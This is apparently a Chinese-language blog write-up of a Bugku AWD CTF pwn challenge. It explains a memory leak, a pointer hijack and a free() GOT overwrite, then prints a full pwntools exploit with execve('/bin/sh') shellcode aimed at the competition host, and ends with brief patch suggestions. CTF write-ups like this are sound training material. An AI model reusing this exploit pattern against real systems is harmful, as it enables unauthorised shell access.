记一次bugku awd pwn题解4月19日
在昨天还是前天的时候看到今天19:00有人开了一个awd房间,闲得没事就准备今天打着玩玩,结果前一个小时在玩忘记到了时间。。。。。
打开房间的时候发现时间已经过了一会了(XD
先连到端口看一下pwn的题目,很像个堆的题目,靶机上的libc是2.27-1.4的
看到保护什么都没有开的时候就猜到应该是写shellcode了。
这里可以内存泄露
这里可以通过buf来劫持heap_ptr这个指针。
接下来笔者还用到的一个地方就是这个释放功能
攻击思路:
- 因为可以内存泄露,所以可以将shellcode写入那里,将0x30给填满,这样可以泄露出这里的shellcode的地址。
- 利用buf劫持heap_ptr到free_got。
- 将free_got劫持到shellcode的地址
-
最后利用check_out这个函数就可以getshell了
注意:这里的shellcode请用无\x00的,否则内存泄露不会成功!!!!!
这里只放了一个普通的攻击脚本,批量脚本就不放出来了
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
debug = 1
if debug:
r = remote('192-168-1-113.pvp1022.bugku.cn', 9999)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = 'your choice : '
def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('how long?', str(size))
r.send(content)
def delete():
r.sendlineafter(menu, '2')
shellcode = asm('''
xor rsi,rsi
mul esi
push rax
mov rbx,0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 59
syscall
''')
p0 = shellcode
p0 = p0.ljust(0x30, b'a')
r.sendafter('who are u?', p0)
stack_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('stack_addr = ' + hex(stack_addr))
shell_addr = stack_addr - 0x50
r.sendlineafter('give me your id ~~?', '1')
heap_list = 0x602098
free_got = elf.got['free']
p1 = p64(shell_addr) + b'a' * 0x10 + p64(free_got) + p64(free_got) + p64(free_got) + p64(free_got) + p64(free_got)
r.sendafter('give me money~', p1)
delete()
r.interactive()
第一个解出这个题目还是很开心的(只能说手快,哈哈
emmm,这个题目的漏洞还是很好修复的,这里不说细节了
内存泄露这里可以用\x00来截断,strcpy这里的话直接限制read的的大小,可能有更好的修复方案这里就不深入了。
开溜了(XD。想要附件的话直接留言就可以了。
版权声明:本文为zzq487782568原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。